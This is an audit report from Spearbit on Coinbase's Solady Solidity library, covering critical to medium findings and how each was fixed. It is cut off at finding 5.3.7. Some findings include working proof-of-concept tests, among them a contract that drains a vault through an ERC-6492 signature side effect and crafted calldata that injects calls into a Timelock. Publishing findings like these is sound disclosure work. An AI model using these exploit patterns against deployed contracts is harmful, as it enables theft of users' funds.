Coinbase Solady Security Review

Auditors

Optimum, Lead Security Researcher

Riley Holterhus, Lead Security Researcher

Kaden, Security Researcher

Philogy, Security Researcher

Report prepared by: Lucas Goiriz

January 22, 2025

Contents

1 About Spearbit

Spearbit is a decentralized network of expert security engineers offering reviews and other security related services to Web3 projects with the goal of creating a stronger ecosystem. Our network has experience on every part of the blockchain technology stack, including but not limited to protocol design, smart contracts and the Solidity compiler. Spearbit brings in untapped security talent by enabling expert freelance auditors seeking flexibility to work on interesting projects together.

Learn more about us at spearbit.com

2 Introduction

Base is a secure and low-cost Ethereum layer-2 solution built to scale the userbase on-chain.

Solady is an open source project for gas optimized Solidity snippets.

Disclaimer: This security review does not guarantee against a hack. It is a snapshot in time of Coinbase Solady according to the specific commit. Any modifications to the code will require a new security review.

3 Risk classification

Severity level	Impact: High	Impact: Medium	Impact: Low
Likelihood: high	Critical	High	Medium
Likelihood: medium	High	Medium	Low
Likelihood: low	Medium	Low	Low

3.1 Impact

- High - leads to a loss of a significant portion (>10%) of assets in the protocol, or significant harm to a majority of users.
- Medium - global losses <10% or losses to only a subset of users, but still unacceptable.
- Low - losses will be annoying but bearable--applies to things like griefing attacks that can be easily repaired or even gas inefficiencies.

3.2 Likelihood

- High - almost certain to happen, easy to perform, or not easy but highly incentivized
- Medium - only conditionally possible or incentivized, but still relatively likely
- Low - requires stars to align, or little-to-no incentive

3.3 Action required for severity levels

- Critical - Must fix as soon as possible (if already deployed)
- High - Must fix (before deployment if not already deployed)
- Medium - Should fix
- Low - Could fix

4 Executive Summary

Over the course of 40 days in total, Coinbase engaged with Spearbit to review the solady protocol. In this period of time a total of **55** issues were found.

Summary

Project Name	Coinbase
Repository	solady
Commit	4c895b96
Type of Project	Smart Contracts, Library
Audit Timeline	Dec 3rd to Jan 12th

Issues Found

Severity	**Count**	**Fixed**	**Acknowledged**
Critical Risk	2	2	0
High Risk	3	3	0
Medium Risk	7	5	2
Low Risk	8	8	0
Gas Optimizations	11	6	5
Informational	24	20	4
Total	**55**	**44**	**11**

5 Findings

5.1 Critical Risk

5.1.1 `isValidERC6492SignatureNowAllowSideEffects` allows arbitrary calls via maliciously crafted signatures

Severity: Critical Risk

Context: SignatureCheckerLib.sol#L306

Description: The ERC-6492 standard specifies a way that signatures can be validated for contract accounts who's code has not been deployed yet. This is done by simulating or actually executing the deployment of this accounts and then calling their code.

To enable this the `bytes` "signature" payload in the standard specifies a way to package the address of a deployer factory, an arbitrary call payload for said factory and the original ERC-1271 signature. The solady library implements 2 functions conforming to this standard with slight variants.

One of these, `isValidERC6492SignatureNowAllowSideEffects` is problematic because it does not revert the underlying side-effect from calling the factory unlike its `isValidERC6492SignatureNow` counterpart. This is a problem because the library triggers an arbitrary call based on the provided factory & payload without much additional validation besides that the subsequent call to validate the signature succeeds.

Proof of Concept: A seemingly innocuous use of the library as follows is therefore vulnerable:

```
contract SimpleVault is ERC20 {
    using SafeTransferLib for address;

    address public immutable BACKING;

    mapping(address owner => uint256 nonce) public nextNonce;

    constructor(address backedBy) {
        BACKING = backedBy;
    }

    function name() public pure override returns (string memory) {
        return "name";
    }

    function symbol() public pure override returns (string memory) {
        return "symbol";
    }

    function deposit(uint256 amount) public {
        BACKING.safeTransferFrom(msg.sender, address(this), amount);
        _mint(msg.sender, amount);
    }

    function withdraw(uint256 amount) public {
        _burn(msg.sender, amount);
        BACKING.safeTransfer(msg.sender, amount);
    }

    function getHash(address from, address to, uint256 amount, uint256 nonce) public pure returns
    ↪ (bytes32) {
        return keccak256(abi.encode("TRANSFER_WITH_SIG", from, to, amount, nonce));
    }

    function transferWithSig(address from, address to, uint256 amount, uint256 nonce, bytes calldata
    ↪ sig) public {
```

```
        // WARNING: Unsafe/non-standard message hash derivation for demo purposes (not required to make
        ↪  the PoC work)
        bytes32 hash = getHash(from, to, amount, nonce);
        require(nonce == nextNonce[from]++, "nonce wrong");
        require(SignatureCheckerLib.isValidERC6492SignatureNowAllowSideEffects(from, hash, sig),
        ↪  "invalid sig");
        _transfer(from, to, amount);
    }
}
```

The following scenario + helper contract demonstrates draining the tokens by leveraging the arbitrary call in the validation library to call out to the `backing` ERC20 token to transfer out funds from the example vault:

```
/// @author philogy <https://github.com/philogy>
contract ERC6492SideEffectTest is Test {
    MockERC20 backing;
    SimpleVault vault;

    function setUp() public {
        backing = new MockERC20();
        vault = new SimpleVault(address(backing));
    }

    function test_sideEffect() public {
        // User with tokens
        address user1 = makeAddr("user_1");
        deal(address(backing), user1, 1_000e18);
        // User deposits
        vm.startPrank(user1);
        backing.approve(address(vault), type(uint256).max);
        vault.deposit(1_000e18);
        vm.stopPrank();

        // Attack prep
        DrainerHelper drainer = new DrainerHelper(backing);
        bytes memory sig = new bytes(0);
        bytes memory erc4629_drain_payload = bytes.concat(
            abi.encode(address(backing), abi.encodeCall(backing.transfer, (address(drainer),
            ↪  1_000e18)), sig),
            bytes32(0x6492649264926492649264926492649264926492649264926492649264926492)
        );

        // drainer has no funds
        assertEq(backing.balanceOf(address(drainer)), 0);

        vault.transferWithSig(address(drainer), address(drainer), 0, 0, erc4629_drain_payload);

        // drainer has vault funds
        assertEq(backing.balanceOf(address(drainer)), 1_000e18);
        // vault is empty
        assertEq(backing.balanceOf(address(vault)), 0);
    }
}

contract DrainerHelper {
    MockERC20 immutable target;

    constructor(MockERC20 _target) {
        target = _target;
    }
```

```
    function isValidSignature(bytes32, bytes calldata) external view returns (bytes4) {
        require(target.balanceOf(address(this)) > 0);
        return this.isValidSignature.selector;
    }
}
```

Recommendation: Ensure the `isValidERC6492SignatureNowAllowSideEffects` library function itself does not make any direct arbitrary calls, instead it should execute them by calling some intermediary verifier contract that performs the actual call to create a distinct, separated origin for the arbitrary call. This ensures that should the signature be a malicious payload it can only modify or touch the immutable intermediary "verifier".

Solady: Fixed in PR 1221.

Spearbit: Verified. A new non-reverting external helper has been deployed at address `0x0000bc370E4DC924F427d84e2f4B9Ec81626ba7E` based on the GitHub gist implementation by Vectorized with id 011d6bec. Like the reverting verifier in `isValidERC6492SignatureNow`, this new verifier is used in `isValidERC6492SignatureNowAllowSideEffects` to perform the arbitrary external call, ensuring that the signature checker library itself does not directly perform such calls.

5.1.2 Cancelling `bytes32(0)` allows `Timelock` takeover

Severity: Critical Risk

Context: Timelock.sol#L207-L222

Description: The `cancel()` function in the `Timelock` contract is intended to allow anyone with the `CANCELLER_ROLE` to cancel a previously proposed operation. Operations are identified by a unique `bytes32 id` derived by hashing the operation data. The `cancel()` function takes this `id` as input, and clears the associated storage slot for the operation:

```
function cancel(bytes32 id) public virtual onlyRole(CANCELLER_ROLE) {
    /// @solidity memory-safe-assembly
    assembly {
        let s := xor(shl(72, id), _TIMELOCK_SLOT) // Operation slot.
        let p := sload(s)
        if or(and(1, p), iszero(p)) {
            mstore(0x00, 0xd639b0bf) // `TimelockInvalidOperation(bytes32,uint256)`.
            mstore(0x20, id)
            mstore(0x40, 6) // `(1 << OperationState.Waiting) | (1 << OperationState.Ready)`
            revert(0x1c, 0x44)
        }
        sstore(s, 0) // Clears the operation's storage slot.
        // Emits the {Cancelled} event.
        log2(0x00, 0x00, _CANCELLED_EVENT_SIGNATURE, id)
    }
}
```

Notice that the storage slot associated with the `id` is calculated by XORing the upper 184 bits of the `id` (after shifting left by 72 bits) with the 72 bits of `_TIMELOCK_SLOT`. Since this implementation takes the `id` directly as input, there is no validation to ensure that the `id` is actually derived from a hash corresponding to a previously proposed operation. As a result, the `cancel()` function can be used to clear any storage slot whose last 9 bytes match `_TIMELOCK_SLOT`, provided the value in the slot has a least significant bit of 0 (as this bit represents the status of the operation).

This issue is particularly problematic because the `_TIMELOCK_SLOT` storage slot itself stores the negation of the minimum delay for the `Timelock`. So, if someone with the `CANCELLER_ROLE` calls `cancel()` with `id == bytes32(0)`, the storage slot for the minimum delay will be cleared. Note that since the least significant bit of the slot's value must be 0, and since the negation of the minimum delay is stored in the slot, the original minimum delay must be an odd number for this exploit to work.

Clearing the minimum delay allows the `initialize()` function to be called again, as the contract relies on a zero check on the minimum delay to prevent multiple initializations. This means that any user with the `CANCELLER_ROLE` can call `cancel(0)` and reinitialize the contract, effectively taking over the `Timelock` with zero delay.

Recommendation: Consider modifying the `cancel()` function to take the operation data as input so the function can compute the `bytes32 id` hash itself. This approach would ensure cancellers cannot provide arbitrary `id` values to manipulate storage slots unrelated to operations.

Solady: Fixed in PR 1231.

Spearbit: Verified. The storage slot `s` for an operation is now calculated as follows:

```
mstore(0x09, _TIMELOCK_SLOT)
mstore(0x00, id)
let s := keccak256(0x00, 0x29) // Operation slot.
```

This resolves the issue because any invalid `id` provided to `cancel()` will hash to a unique slot, preventing conflicts with other non-operation storage slots.

5.2 High Risk

5.2.1 Unsound assumption about structure of calldata arrays

Severity: High Risk

Context: ERC1155.sol#L264, ERC1155.sol#L370,ERC1155.sol#L393,ERC1155.sol#L397,ERC1155.sol#L400, LibTransient.sol#L641,LibTransient.sol#L663, Lifebuoy.sol#L214

Description: When accessing calldata arrays in inline assembly (e.g. `myArray`) it's essentially a struct with 2 fields `myArray.offset` and `myArray.length`. The `.offset` property gives you the direct calldata offset of the first value in the array while the `.length` gives you the length of the array.

When ABI encoding an array it's encoded as `enc(array_len) ++ enc(tuple(array[0], array[1], ...))` meaning that in this case the `offset` given by the calldata pointer, points to the word right after the array's length. This opens the path to some clever optimizations in the case where you need to re-encode an array in memory from calldata.

e.g. in Solady's `Lifebuoy.sol`:

```
// Copies the length and actual data of the `bytes calldata` into memory by starting the copy 32 bytes
↪   **before** the offset
calldatacopy(add(m, 0xc0), sub(data.offset, 0x20), add(0x20, data.length))
```

However the critical flaw in this assumption is that unless these methods are marked `external` you cannot guarantee that they have this structure. The two major exceptions are:

- Slices: When you take the slice of an array via `myArray[start:end]` it creates a new calldata pointer where `.length = end - start` and `.offset = myArray.offset + start * itemSizeBytes`.
- Manually created calldata objects: Using inline-assembly you can manually manipulate calldata pointer and assign arbitrary offsets & lengths.

In both cases you can reasonably create calldata pointers that no longer point to the beginning byte of the original array and can only reliably retrieve their length via the `.length` property. In such cases the referenced code sections would incorrectly copy the word preceding the slice as the the length for the encoded array. This could lead to truncation or extension of the array with other bytes causing downstream code to receive incorrect and potentially tampered data.

Recommendation: Fix the referenced code sections, directly writing the `pointer.length` to memory instead of attempting to copy it in one big chunk along with the actual data. Furthermore ensure code is tested with randomly created calldata pointers.

Solady: Fixed in PR 1237.

Spearbit: Verified.

5.2.2 Incorrect placement of ERC7579 `modeSelector`

Severity: High Risk

Context: *(No context files were provided by the reviewer)*

Relevant Context: LibERC7579.sol#L48-L49, LibERC7579.sol#L65-L68

Summary: In `LibERC7579`, the `modeSelector` is placed incorrectly in the execution mode, resulting in usage of `modeSelector` behaving incorrectly.

Finding Description: In the ERC7579 spec, we define the execution mode as follows:

```
callType (1 byte): 0x00 for a single call, 0x01 for a batch call, 0xfe for staticcall and 0xff for
↪  delegatecall
execType (1 byte): 0x00 for executions that revert on failure, 0x01 for executions that do not revert
↪  on failure but implement some form of error handling
unused (4 bytes): this range is reserved for future standardization
modeSelector (4 bytes): an additional mode selector that can be used to create further execution modes
modePayload (22 bytes): additional data to be passed
```

However, in LibERC7579, we do not correctly follow this specified order, instead encoding and decoding the `modeSelector` before the `unused` bytes. We can see this in `encodeMode`:

```
function encodeMode(bytes1 callType, bytes1 execType, bytes4 selector, bytes22 payload)
    internal
    pure
    returns (bytes32 result)
{
    /// @solidity memory-safe-assembly
    assembly {
        mstore(0x00, callType)
        mstore(0x01, execType)
        // @audit selector should come after unused bytes
        mstore(0x02, selector)
        mstore(0x06, 0)
        mstore(0x0a, payload)
        result := mload(0x00)
    }
}
```

We can also see this in `getSelector`, which should instead be shifted left by 48 bits:

```
function getSelector(bytes32 mode) internal pure returns (bytes4) {
    return bytes4(bytes32(uint256(mode) << 16));
}
```

Impact Explanation: The result of this incorrect encoding and decoding is that implementations which make use of this library will not behave correctly when they attempt to use the `modeSelector`.

Likelihood Explanation: This is highly likely to be a problem since any usage of `modeSelector` will not behave correctly.

Recommendation: Fix encoding and decoding logic to correctly place and retrieve the `modeSelector`. In `encodeMode`, make the following change:

```
 function encodeMode(bytes1 callType, bytes1 execType, bytes4 selector, bytes22 payload)
     internal
     pure
     returns (bytes32 result)
 {
     /// @solidity memory-safe-assembly
     assembly {
         mstore(0x00, callType)
         mstore(0x01, execType)
-        mstore(0x02, selector)
-        mstore(0x06, 0)
+        mstore(0x02, 0)
+        mstore(0x06, selector)
         mstore(0x0a, payload)
         result := mload(0x00)
     }
 }
```

And in `getSelector`, make the following change:

```
 function getSelector(bytes32 mode) internal pure returns (bytes4) {
-    return bytes4(bytes32(uint256(mode) << 16));
+    return bytes4(bytes32(uint256(mode) << 48));
 }
```

Solady: Fixed in PR 1239.

Spearbit: Verified.

5.2.3 Changing `_initializableSlot()` can cause `_disableInitializers()` to actually enable initializers

Severity: High Risk

Context: Initializable.sol#L157

Description: The `_initializableSlot()` method of `Initializable.sol` dictates the storage slot in which the "initialize version" (a uint64) and "initialized flag" (bool) are to be stored for the purpose of an upgradeable contract with initialization logic.

The method's doc-string states:

> `@dev Override to return a custom storage slot if required.`

Implying that `_initializableSlot()` may return an arbitrary constant, however the default `_disableInitializers()` method relies on the slot having a particular structure. Specifically it requires that the top 8 bytes of the slot are `0xffffffffffffffff` because to disable any initializers by setting the "initialize version" to `2**64 - 1` via the `uint64max` variable which is computed from the upper 8 bytes of the slot constant.

This works perfectly fine with the default slot constant `_INITIALIZABLE_SLOT` which has a value of `0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffbf601132`, however if `_initializeSlot()` were to be override to e.g.

```
function _initializableSlot() internal pure virtual returns (bytes32) {
    return bytes32(uint256(0x4a05e541)); // keccak256("INITIALIZABLE_SLOT")[-4:]
}
```

Returning a seemingly inconspicuous constant it would break `_disableInitializers()` causing it to in fact enable all initializers. This is especially grave as `_disableInitializers()` is typically invoked in the constructors of proxy contract implementations that might use `Initializable.sol` to ensure they are not used as actual contracts to protect all the proxies pointing to it.

Recommendation: Ensure that `_disableInitializers()` works regardless of `_initializableSlot()`. Generally for contracts that rely on values that may be overriden by library consumers the library should be tested with a wide variety of random values.

Solady: Fixed in PR 1258.

Spearbit: Verified. The `_disableInitializers()` function now directly declares a constant `0xffffffffffffffff` value and no longer relies on this value being derived from the top 8 bytes of the `_initializableSlot()`.

5.3 Medium Risk

5.3.1 ERC721 `balanceOf` overflow possible

Severity: Medium Risk

Context: ERC721.sol#L296-L304, ERC721.sol#L468-L476, ERC721.sol#L505-L513, ERC721.sol#L790-L798

Summary: In a very specific circumstance, when incrementing the `balanceOf`, it's possible for the overflow protection to fail, resulting in `balanceOf` overflowing, clearing auxiliary data in the process.

Finding Description: In each of the `transferFrom`, `_transfer`, `_mint`, and `_mintAndSetExtraDataUnchecked` functions, we include the following pattern to revert if the account balance overflows the `_MAX_ACCOUNT_BALANCE`:

```
let toBalanceSlot := keccak256(0x0c, 0x1c)
let toBalanceSlotPacked := add(sload(toBalanceSlot), 1)
// Revert if `to` is the zero address, or if the account balance overflows.
if iszero(mul(to, and(toBalanceSlotPacked, _MAX_ACCOUNT_BALANCE))) {
    // `TransferToZeroAddress()`, `AccountBalanceOverflow()`.
    mstore(shl(2, iszero(to)), 0xea553b3401336cea)
    revert(0x1c, 0x04)
}
```

This pattern works based on the assumption that adding one to the packed balance slot will always result in at least one of the bits being used for the `balanceOf` to be nonzero unless an overflow occurs, and that if an overflow does occur, all those bits will be 0, triggering the revert.

Note that the `toBalanceSlot` reserves the 32 least significant bits for the `balanceOf`, with the rest of the bits being reserved for arbitrary auxiliary data.

To visualize how this works, consider the following circumstance where the auxiliary bits are unused and the `balanceOf` is at the maximum. Before incrementing, we have the following storage slot value:

```
|          auxiliary bits           |           balanceOf bits          |
...0000000000000000000000000000000011111111111111111111111111111111
```

After incrementing, we set one of the auxiliary bits, zeroing out the `balanceOf` bits in the process, thus triggering a revert:

```
|          auxiliary bits           |           balanceOf bits          |
...0000000000000000000000000000000100000000000000000000000000000000
```

However, since the rest of the bits used in the same storage slot are used for arbitrary auxiliary data, the behavior depends upon the value used for the auxiliary data. Specifically, in the case that all the auxiliary bits are set, and the `balanceOf` overflows, we will actually overflow the entire storage slot, resulting in the auxiliary data being cleared and the `balanceOf` being set as one, causing the revert to not be triggered.

Before incrementing:

```
|          auxiliary bits           |           balanceOf bits          |
...1111111111111111111111111111111111111111111111111111111111111111
```

After incrementing:

```
|         auxiliary bits            |          balanceOf bits         |
...000000000000000000000000000000000000000000000000000000000000001
```

As a result, in this specific circumstance, the `balanceOf` overflow protection logic will not prevent an overflow, causing the user balance to overflow to a value of one, clearing any auxiliary data in the process.

Impact Explanation: The result of an overflow in this circumstance is the following:

- Auxiliary data is corrupted.
- The `balanceOf` of a user goes from the maximum value to just one.
- The core invariant that the `balanceOf` matches the actual number of tokens owned is broken, which can lead to cascading impacts.

Likelihood Explanation: Since this case is only possible if the auxiliary data and the `balanceOf` are set as the maximum values, it's quite unlikely to occur.

Recommendation: A safer, yet still highly efficient method for validating that an overflow will not occur is to revert if the `balanceOf` prior to incrementing is equal to the `_MAX_ACCOUNT_BALANCE`. We can do so with the following untested logic:

```
if eq(and(sload(toBalanceSlot), _MAX_ACCOUNT_BALANCE), _MAX_ACCOUNT_BALANCE) {
  // ...
  revert(/*...*/)
}
```

Solady: Fixed in PR 1245.

Spearbit: Verified.

5.3.2 Nested `staticcall()` revert in `WebAuthn` library results in incorrect `messageHash`

Severity: Medium Risk

Context: WebAuthn.sol#L135-L139

Description: In the `WebAuthn` library, the `verify()` function checks that a valid P256 signature has been provided over the message hash `sha256(authenticatorData ‖ sha256(clientDataJSON))`. This message hash is calculated using the following logic:

```
// 19. Compute `sha256(clientDataJSON)`.
// 20. Compute `sha256(authenticatorData ‖ sha256(clientDataJSON))`.
// forgefmt: disable-next-item
messageHash := mload(staticcall(gas(), 2, p, add(l, 0x20),
    staticcall(gas(), 2, o, n, e, 0x20), 0x20))
mstore(e, w) // Restore the word after `authenticatorData`, in case of reuse.
// `returndatasize()` is `0x20` on `sha256` success, and `0x00` otherwise.
if iszero(returndatasize()) { invalid() }
```

This calculation involves two nested calls to the SHA256 precompile. The inner call calculates `sha256(clientDataJSON)`, and the outer call calculates `sha256(authenticatorData ‖ sha256(clientDataJSON))`. After both calls, there is a `returndatasize()` check, which ensures that the outer `staticcall()` succeeded, but does not guarantee that the inner `staticcall()` succeeded.

Since the SHA256 precompile's gas cost depends on its input size, the inner `staticcall()` can fail with an out-of-gas error while the outer `staticcall()` succeeds. This could occur if the inner call fails with 63/64 of the remaining gas (per EIP-150) while 1/64 of the remaining gas is sufficient for the outer call and the rest of the `verify()` logic. Given that `clientDataJSON` is user input and its size can be arbitrarily large, an attacker might attempt to exploit this by intentionally providing a large `clientDataJSON` to cause the inner `staticcall()` to fail.

Fortunately, this behavior seems unlikely to be exploitable. This is because the return value of the inner call is used as the memory location for the outer call's output. This means that the situation described would result in the final hash placed in memory `0x00`, but would be read starting at memory `0x01`. So, the overall `messageHash` would be a SHA256 hash shifted left by one byte, with one random byte coming from memory location `0x20`. Since this result would not be a direct SHA256 hash, it's unlikely for an attacker to have a valid signature over this malformed `messageHash`.

Recommendation: Consider preventing this behavior altogether. For example, consider separating the two nested calls so they each can have their own `returndatasize()` checks.

Solady: Fixed in PR 1224.

Spearbit: Verified. The return value of the inner `staticcall()` now determines the address used for the outer `staticcall()`. If the inner call fails, the outer call will be to `address(0)`, which will correctly trigger a failure in the `returndatasize()` check.

5.3.3 Unsafe EOA validation can be bypassed

Severity: Medium Risk

Context: *(No context files were provided by the reviewer)*

Relevant Context: Lifebuoy.sol#L300

Summary: An unsafe validation that the caller is an EOA is used, resulting in an attacker to be able to withdraw funds which are intended to be safely recoverable.

Finding Description: `LifeBuoy.sol` is a contract that can be used to mitigate common mistakes, as indicated in the documentation:

```
/// - Careless user sends tokens to the wrong chain or wrong contract.
/// - Careless dev deploys a contract without a withdraw function in attempt to rescue
///   careless user's tokens, due to deployment nonce mismatch caused by
///   script misfire / misconfiguration.
/// - Careless dev forgets to add a withdraw function to a NFT sale contract.
```

In this finding, we will be focusing on: "*Careless user sends tokens to the wrong chain or wrong contract*". As documented, rescue authorization functions depend on either:

```
/// - Caller is the deployer
///   AND caller is an EOA
///   AND the contract is not a proxy
///   AND `rescueLocked() & _LIFEBUOY_DEPLOYER_ACCESS_LOCK == 0`.
/// - Caller is `owner()`
///   AND `rescueLocked() & _LIFEBUOY_OWNER_ACCESS_LOCK == 0`.
```

The dependency of focus here is, "caller is an EOA". In `_checkRescuer`, we validate that the caller is an EOA with the following logic:

```
if iszero(or(extcodesize(caller()), ...)) { break }
```

The behavior of this line is that if the `caller` has a code size of zero *at the time execution*, we will break out of the loop and avoid an impending revert. The problem with this expectation is that, as noted in the Ethereum Yellow Paper:

> During initialization code execution, EXTCODESIZE on the address should return zero".

This means that as long as a contract is making a call from its constructor, during deployment, the `extcodesize` will be zero, allowing this validation to be bypassed.

The presence of this "caller is an EOA" dependency is used to prevent an attacker from being able to deploy to the same address on a different chain via `create2`, allowing them to then recover funds accidentally sent to the wrong chain. As such, since this validation can be bypassed, it's unexpectedly possible for an attacker to recover funds sent to the same address on the wrong chain.

Impact Explanation: It's possible for an attacker to withdraw funds sent to the same address on a different chain which are intended to be safely recoverable.

Likelihood Explanation: This exploit depends upon a user sending funds to the wrong network, but an attacker can have a script running to monitor whether other chains at the same addresses receive funds and immediately deploy and withdraw the funds.

Recommendation: In general, there is no clear safe way to validate that a caller is an EOA. However, regardless of whether the EOA is validated or not, there are remaining risks to this contract, as noted in LifeBuoy wrong chain fund recovery can be stolen or griefed, and the recommendation provided with that finding should be followed.

Solady: Acknowledged.

Spearbit: Acknowledged.

5.3.4 Creation of ERC4337 accounts can have funds stolen if a `salt` less than 2^{96} is used

Severity: Medium Risk

Context: *(No context files were provided by the reviewer)*

Relevant Context: ERC4337Factory.sol#L37-L42

Summary: ERC4337 account creation can be frontrun in case a `salt` less than 2ˆ96 is used, allowing an attacker to steal any funds to be provided to the newly created account.

Finding Description: In `ERC4337Factory.createAccount`, we deploy an ERC4337 account with a provided `salt` at a deterministic address. Regardless of whether the account is already deployed or not, we will transfer any `msg.value` to the account corresponding to the `salt`.

In case the `salt` is greater than 2ˆ96, we validate that the provided `owner` address is included in the `salt`. However, if the `salt` is less than 2^{96}, there is no such validation.

```
// If the salt does not start with the zero address or `by`.
if iszero(or(iszero(shr(96, salt)), eq(shr(96, shl(96, by)), shr(96, salt)))) {
    mstore(0x00, 0x0c4549ef) // `SaltDoesNotStartWith()`.
    revert(0x1c, 0x04)
}
```

As a result, if an account is created with a `salt` less than 2ˆ96, and a `msg.value` is provided with the account creation, an attacker can frontrun the transaction, creating an account with the same `salt` and themselves as the `owner`, causing the users funds to be transferred to the attacker's account.

Impact Explanation: User funds provided to newly created accounts can be stolen via frontrunning.

Likelihood Explanation: While it's possible to include the `owner` address in the `salt` to prevent this exploit, any `salt` less than 2ˆ96 is not validated. Additionally, the risk of not including the `owner` address in the `salt` is not documented.

Recommendation: Strictly enforce that all `salt`'s contain the provided `owner` address.

Solady: Fixed in PR 1280.

Spearbit: The provided fix uses the first 160 bits of the provided new combined parameter, `ownSalt`, as the owner address to be used. While this fix solves the frontrunning risk, it doesn't logically enforce that the salt contains the intended owner address. In case a user fails to include the owner address in the first 160 bits of the provided `ownSalt`, the contract will be deployed with an invalid owner. In the worst case, a user may have predicted the address of an account and sent funds before deploying, leading to the funds being permanently inaccessible.

The optimal fix for this issue would be to include the `salt` and `owner` parameters separately, as before, and revert if the `owner` is not equal to the first 160 bits of the `salt`, ensuring both that `owner` is tied to the deterministic address and that the provided `owner` is definitely correct.

Alternatively, it may be sufficient to more clearly document the importance of `ownSalt` including the owner address in the first 160 bits, e.g. by including an `@param` comment which will appear in applications and a strong warning, e.g. "WARNING: If `ownSalt` does not correctly contain the intended owner address in the first 160 bits, the deployed account will have an INVALID OWNER."

Solady: I think the current code and comments are ok.

If the salt does not have the address, then the person deploying the account will soon realize that they do not actually own the account, and will discard it. For devs, the missing `address` in the args will make them look for it and realize the meaning of `ownSalt`.

5.3.5 `LifeBuoy` wrong chain fund recovery can be stolen or griefed

Severity: Medium Risk

Context: *(No context files were provided by the reviewer)*

Relevant Context: Lifebuoy.sol#L103-L121

Summary: Funds sent to the same address on the wrong chain, which are intended to be safely recoverable by the original contract deployer, may be stolen or griefed by an attacker due to specificities of deterministic contract addresses.

Note that this finding covers similar logic and impacts to **Unsafe EOA validation can be bypassed**, and it's recommended to read that finding first.

Finding Description: In `LifeBuoy.sol`, we allow for the contract deployer to rescue funds, but we must do so in a way that doesn't allow an untrusted party involved in the deployment to be able to withdraw funds. These untrusted parties include shared contract factories, and ERC4337 bundlers. As such, the `_lifebuoyUseTxOriginAsDeployer` function can be overridden to either use the `tx.origin` or the `msg.sender` of the contract creation as the deployer.

As documented, one of the expectations this contract provides is the ability to mitigate the case where a user sends tokens to the wrong chain:

```
/// @dev This contract is created to mitigate the following disasters:
/// - Careless user sends tokens to the wrong chain or wrong contract.
/// ...
```

However, even if `_lifebuoyUseTxOriginAsDeployer` is overridden as documented, there are two notable ways in which an attacker could exploit the ability to rescue funds sent to the same address on the wrong chain.

Firstly, since we use `tx.origin` as the deployer in case the contract is deployed via a factory, any time a contract inheriting `LifeBuoy` is deployed by a shared factory, i.e. one which anyone can deploy from, it can be deployed to the same address on another chain with an EOA as the deployer address. This breaks the assumption that as long as the deployer is an EOA, they must be the same deployer as on the other chain (see **Unsafe EOA validation can be bypassed** to read more about this assumption).

Additionally, there is also a specific circumstance in which we can reproduce a contract address on a different network when the contract is deployed via `create` and the caller is a contract deployed via `create2` which can itself be replicated on a different network. For example, if contract B is deployed by contract A and a `LifeBuoy` contract is deployed by contract B via `create`, then to replicate the `LifeBuoy` contract address, we need to replicate contract B and the nonce used to deploy the `LifeBuoy` contract. In the case that contract A is a shared factory that exists on both networks under the same address and deploys via `create2`, e.g. a multisig factory, we can reproduce contract B with the same salt and initialization code to execute this attack.

Furthermore, even if we manage to prevent an arbitrary deployer from rescuing funds, since there's no way to prevent deployment at the same address on another chain, other than by enforcing the mechanism of deployment, an attacker could deploy the contract to the same address on a different chain, and if they're prevented from rescuing funds, then so is everyone else since the contract has already been deployed by the wrong deployer.

It appears that the only reliably safe way to deploy this contract which would enable the ability to withdraw lost funds to the same address on a different chain would be to either deploy via `create` directly from an EOA, or to deploy via `create2` from an authorization protected factory.

Impact Explanation: Funds sent to the wrong network which are expected to be recoverable only by the contract deployer may be stolen by attackers. Additionally, attackers may be able to prevent these funds from being recoverable by anyone.

Likelihood Explanation: This exploit depends upon a user sending funds to the wrong network, but an attacker can have a script running to monitor whether other chains at the same addresses receive funds and immediately deploy to either withdraw the funds, or prevent others from withdrawing the funds.

Recommendation: Since the only reliably safe ways to prevent an attacker from stealing or griefing recoverable funds are highly specific and will not be an option in many situations, the expectation that this contract can be used to mitigate the case where a user sends tokens to the wrong chain should either be removed entirely or should include clear documentation as to the specific deployment patterns it works with and the risks involved with not using those patterns.

Solady: Acknowledged.

Spearbit: Acknowledged.

5.3.6 `Timelock` does not enforce proper encoding of `executionData`

Severity: Medium Risk

Context: Timelock.sol#L162

Description: In the `propose()` and `_execute()` functions of the `Timelock` contract, the `executionData` is not verified to be properly encoded. This allows a proposal to be created with `executionData` that appears harmless but contains pointers to out-of-bounds calldata. When the proposal is executed, the data referenced by these out-of-bounds pointers can be manipulated to execute arbitrary logic.

For example, the following proof of concept can be added to `Timelock.t.sol` to demonstrate this issue:

```
function returnsBytes(bytes memory b) external payable returns (bytes memory) {
    return b;
}

function test_execute_calldata_OOB() public {
    bytes memory emptyExecutionData;
    timelock.propose(emptyExecutionData, _DEFAULT_MIN_DELAY);

    vm.warp(block.timestamp + _DEFAULT_MIN_DELAY);

    (bool success, ) = address(timelock).call(abi.encodePacked(
        bytes4(keccak256("execute(bytes32,bytes)")),
        abi.encodePacked(
            hex"0100000000007821000100000000000000000000000000000000000000000000",  // supported mode
            hex"0000000000000000000000000000000000000000000000000000000000000040",  // offset to length
            ↪  of executionData
            /*
                The next 32 bytes are the length of the executionData bytes themself.
                By setting the length to zero, the keccak256(executionData) of will match
                the empty proposal, but since the rest of the calldata is set up with values
                out-of-bounds, a call is actually made.
            */
            hex"0000000000000000000000000000000000000000000000000000000000000000",
            hex"0000000000000000000000000000000000000000000000000000000000000020",  // offset to length
            ↪  of calls array
            hex"0000000000000000000000000000000000000000000000000000000000000001",  // length of calls
            ↪  array
            hex"0000000000000000000000000000000000000000000000000000000000000020",  // offset to
            ↪  calls[0]
            abi.encode(address(this)),                                              // calls[0] target
            hex"0000000000000000000000000000000000000000000000000000000000000000",  // calls[0] value
            hex"0000000000000000000000000000000000000000000000000000000000000060",  // offset to
            ↪  calls[0] data length
            hex"0000000000000000000000000000000000000000000000000000000000000064",  // calls[0] data
            ↪  length
            abi.encodeWithSignature("returnsBytes(bytes)", "test")                 // calls[0] data
        )
    ));
    require(success);
}
```

Running this test demonstrates that additional calls can be added into the calldata during `execute()`, even if they were not included in the initial `propose()`.

This behavior could be problematic if a malicious proposer intentionally submits `executionData` with out-of-bounds pointers, and this goes unnoticed until execution.

Recommendation: Ensure that the `executionData` in the `Timelock` functions is properly encoded, so all referenced data is fully contained within it.

Solady: Fixed in PR 1231.

Spearbit: Verified. There is now a call to `LibERC7579.decodeBatchAndOpData()` in `propose()`, which will revert if the `executionData` is not properly encoded. Since all relevant data is now guaranteed to be contained within the `executionData`, and since the hash must match during `execute()`, it is sufficient that this check is only done in `propose()`.

5.3.7 `decodeBatch()` bounds check can be bypassed

